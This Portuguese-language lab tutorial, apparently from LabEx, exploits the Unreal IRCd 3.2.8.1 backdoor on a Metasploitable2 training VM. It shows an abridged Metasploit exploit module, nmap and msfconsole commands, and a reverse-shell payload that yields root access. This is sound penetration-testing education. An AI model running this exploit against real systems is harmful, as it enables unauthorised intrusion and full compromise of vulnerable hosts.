Introdução
Neste laboratório, aprenderemos como explorar o serviço Unreal IRCd na máquina alvo Metasploitable2, hospedada na plataforma LabEx. Começaremos compreendendo a vulnerabilidade no serviço Unreal IRCd e, em seguida, realizaremos uma varredura de vulnerabilidades usando o Nmap. Após identificar o serviço vulnerável, utilizaremos o framework Metasploit para explorar a falha e obter um shell remoto na máquina alvo. Por fim, validaremos o sucesso da exploração executando comandos no sistema comprometido.
Compreender a vulnerabilidade do Unreal IRCd e iniciar o ambiente de experimento
A versão 3.2.8.1 do Unreal IRCd contém uma vulnerabilidade de backdoor (CVE-2010-2075) que permite a atacantes remotos executar código arbitrário no sistema afetado. A vulnerabilidade reside na macro DEBUG3_DOLOG_SYSTEM, que inclui código malicioso externo que pode ser aproveitado por um atacante.
Informações relevantes:
O módulo do Metasploit para explorar esta vulnerabilidade:
Aqui está uma breve visão geral do módulo do Metasploit:
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
## ... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
Agora, você iniciará a máquina de ataque (container Kali Linux) e a máquina alvo (máquina virtual Metasploitable2) para o experimento.
- Abra um terminal xfce na máquina host do LabEx e inicie o alvo Metasploitable2 executando o seguinte comando:
sudo virsh start Metasploitable2
Aguarde a inicialização da máquina alvo; isso pode levar de 1 a 3 minutos.
- Teste a conectividade com a máquina alvo fazendo um ping:
ping 192.168.122.102
Pressione Ctrl+C para interromper o ping.
- Inicie o container Kali Linux e entre no ambiente bash executando:
docker run -ti --network host b5b709a49cd5 bash
- Dentro do container Kali, teste a conexão de rede com a máquina alvo:
ping 192.168.122.102
Pressione Ctrl+C para interromper o ping.
Agora, tanto a máquina de ataque quanto a máquina alvo estão em execução, e você pode iniciar o teste de penetração.
Nota: Se você sair acidentalmente do bash atual, o container Kali será interrompido automaticamente. Você pode executar docker run -ti --network host b5b709a49cd5 bash novamente no host para iniciar um novo container Kali e entrar no bash para continuar o experimento.
Realizar a varredura de vulnerabilidades
Nesta etapa, realizaremos uma varredura de vulnerabilidades na máquina alvo para identificar portas abertas e serviços em execução nessas portas. Usaremos a poderosa ferramenta Nmap (Network Mapper) para esse propósito.
- Inicie o console do Metasploit no container Kali Linux:
cd ~
msfconsole
- Dentro do console do Metasploit, use o comando
nmappara escanear a máquina alvo:
nmap -sV -T4 192.168.122.102
A opção -sV habilita a detecção de versão para as portas abertas, e -T4 define a política de tempo para um nível agressivo (1-5, sendo que valores mais altos são mais rápidos).
A saída deve mostrar a porta 6667 aberta, executando o serviço unreal ircd.
Pressione Ctrl+D para sair do console do Metasploit e iniciar a inspeção
Explorar a vulnerabilidade do Unreal IRCd
Agora que identificamos o serviço Unreal IRCd vulnerável rodando na porta 6667, podemos prosseguir com a exploração usando o framework Metasploit.
- Primeiramente, se você não estiver no console do Metasploit, inicie-o:
cd ~
msfconsole
- No console do Metasploit, pesquise pelo módulo
unreal_ircd_3281_backdoor:
search unreal_ircd_3281_backdoor
- Carregue o módulo:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- Defina o host alvo:
set RHOST 192.168.122.102
- Defina um payload de reverse shell para o módulo:
set PAYLOAD cmd/unix/reverse
- Defina o endereço IP do host Kali que receberá o reverse shell:
set LHOST 192.168.122.1
- Execute o exploit:
exploit
Se o exploit for bem-sucedido, você obterá um shell remoto na máquina alvo. Se o Metasploit informar que uma sessão de shell de comando foi aberta, você pode continuar com os comandos de validação no shell.
Pressione Ctrl+D para sair do console do Metasploit e iniciar a inspeção
Validar a exploração
Para validar se a exploração foi bem-sucedida, podemos executar comandos no shell remoto obtido na etapa anterior.
- Primeiramente, se você não estiver no console do Metasploit, inicie-o:
cd ~
msfconsole
- Verifique o usuário atual com o comando
whoami:
whoami
- Verifique o nome do host com o comando
hostname:
hostname
- Verifique o endereço IP com o comando
ifconfig:
ifconfig
Se a saída mostrar root como o usuário atual, metasploitable como o nome do host e o endereço IP corresponder à máquina alvo (192.168.122.102), isso confirma que a exploração foi bem-sucedida e que você obteve controle total sobre o sistema alvo.
Pressione Ctrl+D para sair do console do Metasploit e iniciar a inspeção
Resumo
Neste laboratório, aprendemos sobre a vulnerabilidade do Unreal IRCd e como explorá-la usando o framework Metasploit. Começamos entendendo a vulnerabilidade e seu impacto, depois realizamos uma varredura de vulnerabilidades para identificar o serviço vulnerável. Após encontrar o serviço Unreal IRCd rodando na porta 6667, usamos o módulo apropriado do Metasploit para explorar a falha e obter acesso remoto à máquina alvo. Por fim, validamos o sucesso da exploração executando comandos no sistema comprometido. Este laboratório proporcionou experiência prática em análise de vulnerabilidades, técnicas de exploração e validação pós-exploração, habilidades essenciais para hackers éticos e profissionais de cibersegurança.



